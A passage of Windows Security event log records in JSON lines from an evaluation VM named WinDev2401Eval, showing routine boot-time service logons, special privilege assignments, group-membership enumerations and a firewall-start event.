","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.472370Z"}},"EventRecordID":21362,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.484598Z"}},"EventRecordID":21363,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.484603Z"}},"EventRecordID":21364,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.486152Z"}},"EventRecordID":21365,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.486156Z"}},"EventRecordID":21366,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.496848Z"}},"EventRecordID":21367,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.496853Z"}},"EventRecordID":21368,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.521211Z"}},"EventRecordID":21369,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.521216Z"}},"EventRecordID":21370,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.551950Z"}},"EventRecordID":21371,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xc54","CallerProcessName":"C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\sqlwriter.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.552292Z"}},"EventRecordID":21372,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xc54","CallerProcessName":"C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\sqlwriter.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.576862Z"}},"EventRecordID":21373,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-20","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e4","CallerProcessId":"0x980","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.577141Z"}},"EventRecordID":21374,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-20","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e4","CallerProcessId":"0x980","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.609791Z"}},"EventRecordID":21375,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xcb4","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4799,"Version":0,"Level":0,"Task":13826,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.610026Z"}},"EventRecordID":21376,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0xcb4","CallerProcessName":"C:\\Windows\\System32\\svchost.exe"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.671084Z"}},"EventRecordID":21377,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.671088Z"}},"EventRecordID":21378,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.712139Z"}},"EventRecordID":21379,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:21.712144Z"}},"EventRecordID":21380,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":892}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5024,"Version":0,"Level":0,"Task":12292,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:22.228542Z"}},"EventRecordID":21381,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:22.277813Z"}},"EventRecordID":21382,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x310","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:22.277822Z"}},"EventRecordID":21383,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4798,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:22.288037Z"}},"EventRecordID":21384,"Correlation":{"#attributes":{"ActivityID":"539053D8-5E23-0002-0254-9053235EDB01"}},"Execution":{"#attributes":{"ProcessID":812,"ThreadID":848}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"TargetUserName":"User","TargetDomainName":"WINDEV2401EVAL","TargetSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","CallerProcessId":"0x554","CallerProcessName":"C:\\Windows\\System32\\LogonUI.exe"}}}
